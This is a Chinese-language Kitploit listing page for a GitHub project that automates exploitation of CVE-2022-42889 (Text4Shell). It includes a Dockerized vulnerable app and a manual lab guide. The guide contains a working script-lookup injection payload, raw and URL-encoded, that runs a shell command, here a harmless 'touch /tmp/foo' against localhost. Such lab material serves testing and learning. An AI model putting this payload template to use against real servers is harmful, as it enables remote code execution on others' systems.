Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Text4shell--Automated-exploit---CVE-2022-42889 — CVE-2022-42889(Text4Shell)的自动化漏洞利用,附带易受攻击的 Docker 化应用程序,用于测试和手动利用指南。 | Kitploit
工具/GitHubGitHub/adarshpv9746/text4shell--automated-exploit---cve-2022-42889
动态分析 (沙盒)漏洞分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubadarshpv9746/text4shell--automated-exploit---cve-2022-42889

Text4shell--Automated-exploit---CVE-2022-42889

CVE-2022-42889(Text4Shell)的自动化漏洞利用,附带易受攻击的 Docker 化应用程序,用于测试和手动利用指南。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
53年前尚未审核

Install maven - maven-linux


//自动黑客入侵: 1../install.sh

root@kitploit:~
2../exploit.sh

3.To remove the application use ./stopapp.sh

//手动黑客入侵:

  1. 使用Maven安装以创建fat jar
root@kitploit:~
mvn clean install
  1. Docker构建
root@kitploit:~
docker build --tag=text4shell .
  1. Docker运行
root@kitploit:~
docker run -p 80:8080 text4shell
  1. 测试应用
root@kitploit:~
http://localhost/text4shell/attack?search=<anything>
  1. 可以通过传入字符串“${prefix:name}”来发起攻击,其中前缀是前述的查找:
root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

  1. 您也可以尝试使用 dns 或 url 前缀。

  2. 获取容器ID

root@kitploit:~
docker container ls
  1. 进入应用
root@kitploit:~
docker exec -it <container_id> bash
  1. 检查上述RCE是否成功(您应该会在 /tmp 目录下看到名为 foo 的文件被创建):
root@kitploit:~
ls /tmp/
  1. 停止容器
root@kitploit:~
docker container stop <container_id>
下载工具